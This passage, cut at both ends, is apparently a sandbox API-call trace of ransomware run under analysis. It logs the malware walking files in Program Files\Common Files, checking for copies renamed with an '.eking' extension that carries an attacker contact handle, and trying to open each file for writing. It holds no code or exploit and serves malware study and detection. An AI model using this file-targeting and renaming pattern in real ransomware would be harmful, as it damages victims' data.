files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.678] SetEvent (hEvent=0x2b8) returned 1 [0232.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.684] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=100488) returned 1 [0232.684] CloseHandle (hObject=0x368) returned 1 [0232.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0232.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0232.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.685] SetEvent (hEvent=0x2b8) returned 1 [0232.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.685] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=367216) returned 1 [0232.685] CloseHandle (hObject=0x368) returned 1 [0232.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0232.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0232.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.686] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=48872) returned 1 [0232.686] CloseHandle (hObject=0x368) returned 1 [0232.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0232.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0232.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.689] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=168064) returned 1 [0232.689] CloseHandle (hObject=0x368) returned 1 [0232.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0232.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0232.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.689] SetEvent (hEvent=0x2b8) returned 1 [0232.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.690] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=17048) returned 1 [0232.690] CloseHandle (hObject=0x368) returned 1 [0232.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0232.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0232.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.691] SetEvent (hEvent=0x2b8) returned 1 [0232.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.692] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=22680) returned 1 [0232.692] CloseHandle (hObject=0x368) returned 1 [0232.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0232.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0232.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.716] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2702) returned 1 [0232.716] CloseHandle (hObject=0x358) returned 1 [0232.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0232.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0232.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.717] SetEvent (hEvent=0x2b8) returned 1 [0232.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.770] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=14856) returned 1 [0232.770] CloseHandle (hObject=0x358) returned 1 [0232.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0232.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0232.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.770] SetEvent (hEvent=0x2b8) returned 1 [0232.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.816] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=17920) returned 1 [0232.816] CloseHandle (hObject=0x358) returned 1 [0232.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0232.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0232.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.817] SetEvent (hEvent=0x2b8) returned 1 [0232.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.859] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1233920) returned 1 [0232.859] CloseHandle (hObject=0x364) returned 1 [0232.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0232.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0232.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.859] SetEvent (hEvent=0x2b8) returned 1 [0232.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.895] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0232.895] CloseHandle (hObject=0x358) returned 1 [0232.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0232.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0232.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.913] SetEvent (hEvent=0x2b8) returned 1 [0232.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.935] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=71168) returned 1 [0232.935] CloseHandle (hObject=0x358) returned 1 [0232.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0232.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0232.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.936] SetEvent (hEvent=0x2b8) returned 1 [0232.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.944] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=70656) returned 1 [0232.944] CloseHandle (hObject=0x358) returned 1 [0232.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20 [0232.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20 [0232.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.945] SetEvent (hEvent=0x2b8) returned 1 [0232.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.950] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=13824) returned 1 [0232.950] CloseHandle (hObject=0x358) returned 1 [0232.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0232.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0232.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.961] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=35840) returned 1 [0232.961] CloseHandle (hObject=0x358) returned 1 [0232.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20 [0232.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20 [0232.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.962] SetEvent (hEvent=0x2b8) returned 1 [0232.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.968] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=404992) returned 1 [0232.968] CloseHandle (hObject=0x358) returned 1 [0232.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0232.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20 [0232.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.968] SetEvent (hEvent=0x2b8) returned 1 [0232.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.972] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=24576) returned 1 [0232.973] CloseHandle (hObject=0x358) returned 1 [0232.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common 